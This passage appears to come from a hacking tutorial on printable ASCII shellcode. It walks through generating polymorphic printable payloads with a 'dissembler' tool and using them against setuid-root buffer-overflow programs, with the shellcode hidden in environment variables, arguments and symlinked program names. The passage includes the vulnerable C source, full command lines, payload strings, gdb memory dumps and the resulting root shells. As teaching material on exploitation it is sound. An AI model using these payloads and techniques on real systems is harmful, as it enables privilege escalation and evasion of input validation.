1341PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
1342PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
1343PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
1344$ ./getenvaddr SHELLCODE
1345SHELLCODE is located at 0xbffffa3a
1346$ ln -s ./getenvaddr ./gtenv
1347$ ./gtenv SHELLCODE
1348SHELLCODE is located at 0xbffffa44
1349$ ./vuln2 'perl -e 'print "\x44\xfa\xff\xbf"x8;''
1350sh-2.05b# whoami
1351root
1352sh-2.05b#
1353
1354In this example, printable ASCII shellcode is created from the tiny shellcode file. The backslash is escaped to make copying and pasting easier when the same string is put into an environment variable. As usual, the location of the shellcode in the environment variable will change depending on the size of the name of the executing program.
1355
1356Note that instead of doing the math each time, a symbolic link to the getenvaddr program is made with the same-size filename as the target program. This is an easy hack that simplifies the exploit process; hopefully you had come up with a similar solution of your own by now.
1357
1358The bridge will be 300 words of NOPs (1,200 bytes), which is plenty to bridge the gap, but it does make the printable shellcode quite big. This can be optimized if the target address for the loader code is known. Also, grave accents can be used to eliminate the cutting and pasting, because the shellcode is written out to standard output, while the verbose information is written out to standard error.
1359
1360The following output shows dissembler being used to create printable shellcode from regular shellcode. This is stored in an environment variable and an attempt is made to use it to exploit the vuln2 program.
1361
1362$ export SHELLCODE='dissembler -N -t 0xbffffa44 tinyshell'
1363dissembler 0.9 - polymorphs bytecode to a printable ASCII string
1364 - Jose Ronnick <matrix@phiral.com> Phiral Research Labs -
1365 438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0
1366
1367[N] Ninja Magic Optimization: ON
1368[t] Target address: 0xbffffa44
1369[+] Ending address: 0xbffffb16
1370[*] Dissembling bytecode from 'tinyshell'...
1371[&] Optimizing with ninja magic...
1372
1373[+] dissembled bytecode is 145 bytes long.
1374--
1375$ env | grep SHELLCODE
1376SHELLCODE=%PG2H%%8H6-IIIz-KHHK-xsnzP\-RMMM-xllx-z5yyP-04yy--NrmP-tttt-0F0m-AEYfP-
1377Ih%I-zz%z-Cw6%P-m%%%-UsUz-wgtaP-o2YY-z-g--yNayP-99X9-66e8--6b-P-i-s--8CxCP
1378$ ./gtenv SHELLCODE
1379SHELLCODE is located at 0xbffffb80
1380$ ./vuln2 'perl -e 'print "\x80\xfb\xff\xbf"x8;''
1381Segmentation fault
1382$ pcalc 461 - 145
1383 316 0x13c 0y100111100
1384$ pcalc 0xfb80 - 316
1385 64068 0xfa44 0y1111101001000100
1386$
1387
1388Notice that the printable shellcode is now much smaller, because there's no need for the NOP bridge when optimization is turned on. The first part of the printable shellcode is designed to build the actual shellcode exactly after the loader code. Also, notice how grave accents are used this time to avoid the hassle of cutting and pasting.
1389
1390Unfortunately, the size of an environment variable changes its location. Because the previous printable shellcode was 461 bytes long and this new piece of optimized printable shellcode is only 145 bytes long, the target address will be incorrect. Trying to hit a moving target can be tedious, so there's a switch built into the dissembler for this.
1391
1392$ export SHELLCODE='dissembler -N -t 0xbffffa44 -s 461 tinyshell'
1393dissembler 0.9 - polymorphs bytecode to a printable ASCII string
1394 - Jose Ronnick <matrix@phiral.com> Phiral Research Labs -
1395 438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0
1396
1397[N] Ninja Magic Optimization: ON
1398[t] Target address: 0xbffffa44
1399[s] Size changes target: ON (adjust size: 461 bytes)
1400[+] Ending address: 0xbffffb16
1401[*] Dissembling bytecode from 'tinyshell'...
1402[&] Optimizing with ninja magic...
1403[&] Adjusting target address to 0xbffffb80..
1404
1405[+] dissembled bytecode is 145 bytes long.
1406--
1407$ env | grep SHELLCODE
1408SHELLCODE=%M4NZ%0B0%-llll-1AAz-3VRYP\-%0bb-6vvv-%JZfP-06wn--LtxP-AAAn-Lvvv-XHFcP-
1409ll%l-eu%8-5x6DP-gggg-i00i-ihW0P-yFFF-v5ll-s2oMP-BBsB-56X7-%-T%P-i%u%-8KvKP
1410$ ./vuln2 'perl -e 'print "\x80\xfb\xff\xbf"x8;''
1411sh-2.05b# whoami
1412root
1413sh-2.05b#
1414
1415This time, the target address is automatically adjusted based on the changing size of the new printable shellcode. The new target address is also displayed (shown in bold), to make the exploitation easier.
1416
1417Another useful option is a customizable character set. This will help the printable shellcode sneak past various character restrictions. The following example shows the printable shellcode being generated only using the characters P, c, t, w, z, 7, -, and %.
1418
1419$ export SHELLCODE='dissembler -N -t 0xbffffa44 -s 461 -c Pctwz72-% tinyshell'
1420dissembler 0.9 - polymorphs bytecode to a printable ASCII string
1421 - Jose Ronnick <matrix@phiral.com> Phiral Research Labs -
1422 438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0
1423
1424[N] Ninja Magic Optimization: ON
1425[t] Target address: 0xbffffa44
1426[s] Size changes target: ON (adjust size: 461 bytes)
1427[c] Using charset: Pctwz72-% (9)
1428[+] Ending address: 0xbffffb16
1429[*] Dissembling bytecode from 'tinyshell'...
1430[&] Optimizing with ninja magic...
1431[&] Adjusting target address to 0xbffffb4e..
1432
1433[+] dissembled bytecode is 195 bytes long.
1434--
1435$ env | grep SHELLCODE
1436SHELLCODE=%P---%%PPP-t%2%-tt-t-t7Pt-t2P2P\-w2%w-2c%2-c-t2-t-tcP-t----tzc2-%w-7-Pc-
1437PP-w-PP-z-c--z-%P-zw%zP-z7w2--wcc--tt--272%P-7P%7-z2ww-c----%P%%P-w%z%-t%-w-wczcP-
1438zz%t-7PPP-tc2c-wwwwP-wwcw-Pc-P-w2-2-cc-wP
1439$ ./vuln2 'perl -e 'print "\x4e\xfb\xff\xbf"x8;''
1440sh-2.05b# whoami
1441root
1442sh-2.05b#
1443
1444While it's unlikely that a program with such an odd input-validation function would be found in practice, there are some common functions that are used for input validation. Here is a sample vulnerable program that would need printable shellcode to exploit, due to a validation loop using the isprint() function.
1445
1446only_print.c code
1447void func(char *data)
1448{
1449 char buffer[5];
1450 strcpy(buffer, data);
1451}
1452
1453int main(int argc, char *argv[], char *envp[])
1454{
1455 int i;
1456
1457 // clearing out the stack memory
1458 // clearing all arguments except the first and second
1459 memset(argv[0], 0, strlen(argv[0]));
1460 for(i=3; argv[i] != 0; i++)
1461 memset(argv[i], 0, strlen(argv[i]));
1462 // clearing all environment variables
1463 for(i=0; envp[i] != 0; i++)
1464 memset(envp[i], 0, strlen(envp[i]));
1465
1466 // If the first argument is too long, exit
1467 if(strlen(argv[1]) > 40)
1468 {
1469 printf("first arg is too long.\n");
1470 exit(1);
1471 }
1472
1473 if(argc > 2)
1474 {
1475 printf("arg2 is at %p\n", argv[2]);
1476 for(i=0; i < strlen(argv[2])-1; i++)
1477 {
1478 if(!(isprint(argv[2][i])))
1479 {
1480 // If there are any nonprintable characters in the
1481 // second argument, exit
1482 printf("only printable characters are allowed!\n");
1483 exit(1);
1484 }
1485 }
1486 }
1487 func(argv[1]);
1488 return 0;
1489}
1490
1491In this program, the environment variables are all zeroed out, so shellcode can't be stashed there. Also, all but two of the arguments are zeroed out. The first argument is the one that can be overflowed, leaving the second argument as a potential storage place for shellcode. However, before the overflow occurs, there is a loop that checks for nonprintable characters in the second argument.
1492
1493The program leaves no room for normal shellcode, making the exploitation a bit more difficult, but not impossible. The larger 46-byte shellcode is used in the following output, to illustrate a specific situation when the target address changes the actual size of the dissembled shellcode.
1494
1495$ gcc -o only_print only_print.c
1496$ sudo chown root.root only_print
1497$ sudo chmod u+s only_print
1498$ ./only_print nothing_here_yet 'dissembler -N shellcode'
1499dissembler 0.9 - polymorphs bytecode to a printable ASCII string
1500 - Jose Ronnick <matrix@phiral.com> Phiral Research Labs -
1501 438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0
1502
1503[N] Ninja Magic Optimization: ON
1504[*] Dissembling bytecode from 'shellcode'...
1505[&] Optimizing with ninja magic...
1506[+] dissembled bytecode is 189 bytes long.
1507--
1508arg2 is at 0xbffff9c4
1509$ ./only_print nothing_here_yet 'dissembler -N -t 0xbffff9c4 shellcode'
1510dissembler 0.9 - polymorphs bytecode to a printable ASCII string
1511 - Jose Ronnick <matrix@phiral.com> Phiral Research Labs -
1512 438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0
1513
1514[N] Ninja Magic Optimization: ON
1515[t] Target address: 0xbffff9c4
1516[+] Ending address: 0xbffffadc
1517[*] Dissembling bytecode from 'shellcode'...
1518[&] Optimizing with ninja magic...
1519[&] Optimizing with ninja magic...
1520
1521[+] dissembled bytecode is 194 bytes long.
1522--
1523arg2 is at 0xbffff9bf
1524
1525The first argument is only a placeholder, while the specifics of the second argument are determined. The target address must match up with the location of the second argument, but there is a size difference between the two versions: the first was 189 bytes, and the second was 194 bytes. Fortunately, the -s switch can take care of that.
1526
1527$ ./only_print nothing_here_yet 'dissembler -N -t 0xbffff9c4 -s 189 shellcode'
1528dissembler 0.9 - polymorphs bytecode to a printable ASCII string
1529 - Jose Ronnick <matrix@phiral.com> Phiral Research Labs -
1530 438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0
1531
1532[N] Ninja Magic Optimization: ON
1533[t] Target address: 0xbffff9c4
1534[s] Size changes target: ON (adjust size: 189 bytes)
1535[+] Ending address: 0xbffffadc
1536[*] Dissembling bytecode from 'shellcode'...
1537[&] Optimizing with ninja magic...
1538[&] Adjusting target address to 0xbffff9c4..
1539[&] Optimizing with ninja magic...
1540[&] Adjusting target address to 0xbffff9bf..
1541
1542[+] dissembled bytecode is 194 bytes long.
1543--
1544arg2 is at 0xbffff9bf
1545$ ./only_print 'perl -e 'print "\xbf\xf9\xff\xbf"x8;'' 'dissembler -N -t 0xbffff9c4
1546-s 189 shellcode'
1547dissembler 0.9 - polymorphs bytecode to a printable ASCII string
1548 - Jose Ronnick <matrix@phiral.com> Phiral Research Labs -
1549 438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0
1550
1551[N] Ninja Magic Optimization: ON
1552[t] Target address: 0xbffff9c4
1553[s] Size changes target: ON (adjust size: 189 bytes)
1554[+] Ending address: 0xbffffadc
1555[*] Dissembling bytecode from 'shellcode'...
1556[&] Optimizing with ninja magic...
1557[&] Adjusting target address to 0xbffff9c4..
1558[&] Optimizing with ninja magic...
1559[&] Adjusting target address to 0xbffff9bf..
1560
1561[+] dissembled bytecode is 194 bytes long.
1562--
1563arg2 is at 0xbffff9bf
1564sh-2.05b# whoami
1565root
1566sh-2.05b#
1567
1568The use of printable shellcode allowed the shellcode to make it through the input validation for printable characters.
1569
1570A more extreme example would be a program that clears out almost all of the stack memory, like the following one.
1571
1572cleared_stack.c code
1573void func(char *data)
1574{
1575 char buffer[5];
1576 strcpy(buffer, data);
1577}
1578
1579int main(int argc, char *argv[], char *envp[])
1580{
1581 int i;
1582
1583 // clearing out the stack memory
1584 // clearing all arguments except the first
1585 memset(argv[0], 0, strlen(argv[0]));
1586 for(i=2; argv[i] != 0; i++)
1587 memset(argv[i], 0, strlen(argv[i]));
1588 // clearing all environment variables
1589 for(i=0; envp[i] != 0; i++)
1590 memset(envp[i], 0, strlen(envp[i]));
1591
1592 // If the first argument is too long, exit
1593 if(strlen(argv[1]) > 40)
1594 {
1595 printf("first arg is too long.\n");
1596 exit(1);
1597 }
1598
1599 func(argv[1]);
1600 return 0;
1601}
1602
1603This program clears out all of the function arguments except the first argument, and it clears out all of the environment variables. Because the first argument is where the overflow happens, and it can only be 40 bytes long, there's really no place to put shellcode. Or is there?
1604
1605Using gdb to debug the program and examine the stack memory will give a clearer picture of the situation.
1606
1607$ gcc -g -o cleared_stack cleared_stack.c
1608$ sudo chown root.root cleared_stack
1609$ sudo chmod u+s cleared_stack
1610$ gdb -q ./cleared_stack
1611(gdb) list
16124 strcpy(buffer, data);
16135 }
16146
16157 int main(int argc, char *argv[], char *envp[])
16168 {
16179 int i; 10
161811 // clearing out the stack memory
161912 // clearing all arguments except the first
162013 memset(argv[0], 0, strlen(argv[0]));
1621(gdb)
162214 for(i=2; argv[i] != 0; i++)
162315 memset(argv[i], 0, strlen(argv[i]));
162416 // clearing all environment variables
162517 for(i=0; envp[i] != 0; i++)
162618 memset(envp[i], 0, strlen(envp[i]));
162719
162820 // If the first argument is too long, exit
162921 if(strlen(argv[1]) > 40)
163022 {
163123 printf("first arg is too long.\n");
1632(gdb) break 21
1633Breakpoint 1 at 0x8048516: file cleared_stack.c, line 21.
1634(gdb) run test
1635Starting program: /hacking/cleared_stack test
1636
1637Breakpoint 1, main (argc=2, argv=0xbffff904, envp=0xbffff910)
1638 at cleared_stack.c:21
163921 if(strlen(argv[1]) > 40)
1640(gdb) x/128x 0xbffffc00
16410xbffffc00: 0x00000000 0x00000000 0x00000000 0x00000000
16420xbffffc10: 0x00000000 0x00000000 0x00000000 0x00000000
16430xbffffc20: 0x00000000 0x00000000 0x00000000 0x00000000
16440xbffffc30: 0x00000000 0x00000000 0x00000000 0x00000000
16450xbffffc40: 0x00000000 0x00000000 0x00000000 0x00000000
16460xbffffc50: 0x00000000 0x00000000 0x00000000 0x00000000
16470xbffffc60: 0x00000000 0x00000000 0x00000000 0x00000000
16480xbffffc70: 0x00000000 0x00000000 0x00000000 0x00000000
16490xbffffc80: 0x00000000 0x00000000 0x00000000 0x00000000
16500xbffffc90: 0x00000000 0x00000000 0x00000000 0x00000000
16510xbffffca0: 0x00000000 0x00000000 0x00000000 0x00000000
16520xbffffcb0: 0x00000000 0x00000000 0x00000000 0x00000000
16530xbffffcc0: 0x00000000 0x00000000 0x00000000 0x00000000
16540xbffffcd0: 0x00000000 0x00000000 0x00000000 0x00000000
16550xbffffce0: 0x00000000 0x00000000 0x00000000 0x00000000
16560xbffffcf0: 0x00000000 0x00000000 0x00000000 0x00000000
16570xbffffd00: 0x00000000 0x00000000 0x00000000 0x00000000
16580xbffffd10: 0x00000000 0x00000000 0x00000000 0x00000000
16590xbffffd20: 0x00000000 0x00000000 0x00000000 0x00000000
16600xbffffd30: 0x00000000 0x00000000 0x00000000 0x00000000
16610xbffffd40: 0x00000000 0x00000000 0x00000000 0x00000000
16620xbffffd50: 0x00000000 0x00000000 0x00000000 0x00000000
16630xbffffd60: 0x00000000 0x00000000 0x00000000 0x00000000
16640xbffffd70: 0x00000000 0x00000000 0x00000000 0x00000000
16650xbffffd80: 0x00000000 0x00000000 0x00000000 0x00000000
16660xbffffd90: 0x00000000 0x00000000 0x00000000 0x00000000
16670xbffffda0: 0x00000000 0x00000000 0x00000000 0x00000000
16680xbffffdb0: 0x00000000 0x00000000 0x00000000 0x00000000
16690xbffffdc0: 0x00000000 0x00000000 0x00000000 0x00000000
16700xbffffdd0: 0x00000000 0x00000000 0x00000000 0x00000000
16710xbffffde0: 0x00000000 0x00000000 0x00000000 0x00000000
16720xbffffdf0: 0x00000000 0x00000000 0x00000000 0x00000000
1673(gdb)
16740xbffffe00: 0x00000000 0x00000000 0x00000000 0x00000000
16750xbffffe10: 0x00000000 0x00000000 0x00000000 0x00000000
16760xbffffe20: 0x00000000 0x00000000 0x00000000 0x00000000
16770xbffffe30: 0x00000000 0x00000000 0x00000000 0x00000000
16780xbffffe40: 0x00000000 0x00000000 0x00000000 0x00000000
16790xbffffe50: 0x00000000 0x00000000 0x00000000 0x00000000
16800xbffffe60: 0x00000000 0x00000000 0x00000000 0x00000000
16810xbffffe70: 0x00000000 0x00000000 0x00000000 0x00000000
16820xbffffe80: 0x00000000 0x00000000 0x00000000 0x00000000
16830xbffffe90: 0x00000000 0x00000000 0x00000000 0x00000000
16840xbffffea0: 0x00000000 0x00000000 0x00000000 0x00000000
16850xbffffeb0: 0x00000000 0x00000000 0x00000000 0x00000000
16860xbffffec0: 0x00000000 0x00000000 0x00000000 0x00000000
16870xbffffed0: 0x00000000 0x00000000 0x00000000 0x00000000
16880xbffffee0: 0x00000000 0x00000000 0x00000000 0x00000000
16890xbffffef0: 0x00000000 0x00000000 0x00000000 0x00000000
16900xbfffff00: 0x00000000 0x00000000 0x00000000 0x00000000
16910xbfffff10: 0x00000000 0x00000000 0x00000000 0x00000000
16920xbfffff20: 0x00000000 0x00000000 0x00000000 0x00000000
16930xbfffff30: 0x00000000 0x00000000 0x00000000 0x00000000
16940xbfffff40: 0x00000000 0x00000000 0x00000000 0x00000000
16950xbfffff50: 0x00000000 0x00000000 0x00000000 0x00000000
16960xbfffff60: 0x00000000 0x00000000 0x00000000 0x00000000
16970xbfffff70: 0x00000000 0x00000000 0x00000000 0x00000000
16980xbfffff80: 0x00000000 0x00000000 0x00000000 0x00000000
16990xbfffff90: 0x00000000 0x00000000 0x00000000 0x00000000
17000xbfffffa0: 0x00000000 0x00000000 0x00000000 0x00000000
17010xbfffffb0: 0x00000000 0x00000000 0x00000000 0x00000000
17020xbfffffc0: 0x00000000 0x00000000 0x00000000 0x00000000
17030xbfffffd0: 0x00000000 0x00000000 0x00000000 0x00000000
17040xbfffffe0: 0x00000000 0x61682f00 0x6e696b63 0x6c632f67
17050xbffffff0: 0x65726165 0x74735f64 0x006b6361 0x00000000
1706(gdb)
17070xc0000000: Cannot access memory at address 0xc0000000
1708(gdb) x/s 0xbfffffe5
17090xbfffffe5: "/hacking/cleared_stack"
1710(gdb)
1711
1712After compiling the source, the binary is opened with gdb and a breakpoint is set at line 21, right after all the memory is cleared. An examination of memory near the end of the stack shows that it is indeed cleared. However, there is something left right at the very end of the stack. Displaying this memory as a string, it becomes apparent that this is the name of the executing program. The gears should be turning in your head by now.
1713
1714If the name of the program is set to be printable shellcode, the program's execution flow can be directed into its own name. Symbolic links can be used to change the effective name of the program without affecting the original binary. The following example will help clarify this process.
1715
1716$ ./dissembler -e -b 34 tinyshell
1717dissembler 0.9 - polymorphs bytecode to a printable ASCII string
1718 - Jose Ronnick <matrix@phiral.com> Phiral Research Labs -
1719 438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0
1720
1721[e] Escape the backslash: ON
1722[b] Bridge size: 34 words
1723[*] Dissembling bytecode from 'tinyshell'...
1724
1725[+] dissembled bytecode is 195 bytes long.
1726--
1727%R6HJ%-H%1-UUUU-MXXv-gRRtP\\-ffff-yLXy-hAt_P-05yp--MrvP-999t-4dKd-xbyoP-Ai6A-Zx%Z-
1728kx%MP-nnnn-eI3e-fHM-P-zGdd-p6C6-x0zeP-22d2-5Ab5-52Y7P-N8y8-S8r8P-ooOo-AEA3-
1729P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
1730
1731Because this shellcode will be located right at the very end of the stack, space needs to be saved to build the actual shellcode after the loader code. Because the shellcode is 31 bytes, at least 31 bytes must be saved at the end. But these 31 bytes could be misaligned with the four byte words of the stack. An extra three bytes of space will account for any possible misalignments, so 34 bytes are saved at the end of the stack, using the characters that are usually used to build the NOP bridge. The -e switch is used to escape the backslash character, because this printable shellcode is going to be cut and pasted to make a symbolic link.
1732
1733$ ln -s /hacking/cleared_stack %R6HJ%-H%1-UUUU-MXXv-gRRtP\\-ffff-yLXy-hAt_P-05yp--
1734MrvP-999t-4dKd-xbyoP-Ai6A-Zx%Z-kx%MP-nnnn-eI3e-fHM-P-zGdd-p6C6-x0zeP-22d2-5Ab5-
173552Y7P-N8y8-S8r8P-ooOo-AEA3-P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
1736$ ls -l %*
1737lrwxrwxrwx 1 matrix users 22 Aug 11 17:29 %R6HJ%-H%1-UUUU-MXXv-
1738gRRtP\-ffff-yLXy-hAt_P-05yp--MrvP-999t-4dKd-xbyoP-Ai6A-Zx%Z-kx%MP-nnnn-eI3e-fHM-P-
1739zGdd-p6C6-x0zeP-22d2-5Ab5-52Y7P-N8y8-S8r8P-ooOo-AEA3-
1740P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP -> /hacking/cleared_stack
1741$
1742
1743Now all that's left is to calculate where the beginning of the printable shellcode will be and to exploit the program. The debugger revealed that the end of the program name was at 0xbffffffb. Because this is the end of the stack, this address isn't going to change, but instead the beginning of the program name will shift to a lower memory address. Because the printable shellcode is 195 bytes long, the beginning of it should be at 0xbfffff38 (0xbffffffb – 195).
1744
1745$ pcalc 0xfffb - 195
1746 65336 0xff38 0y1111111100111000
1747$ ./%R6HJ%-H%1-UUUU-MXXv-gRRtP\\-ffff-yLXy-hAt_P-05yp--MrvP-999t-4dKd-xbyoP-Ai6A-
1748Zx%Z-kx%MP-nnnn-eI3e-fHM-P-zGdd-p6C6-x0zeP-22d2-5Ab5-52Y7P-N8y8-S8r8P-ooOo-AEA3-
1749P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP 'perl -e 'print "\x38\xff\xff\xbf"x8;''
1750sh-2.05b# whoami
1751root
1752sh-2.05b#
1753
1754Printable shellcode is simply a technique that can open some doors. All of these techniques are just building blocks with a myriad of possible combinations and uses. Their application simply requires some ingenuity on your part. Be clever and beat them at their own game.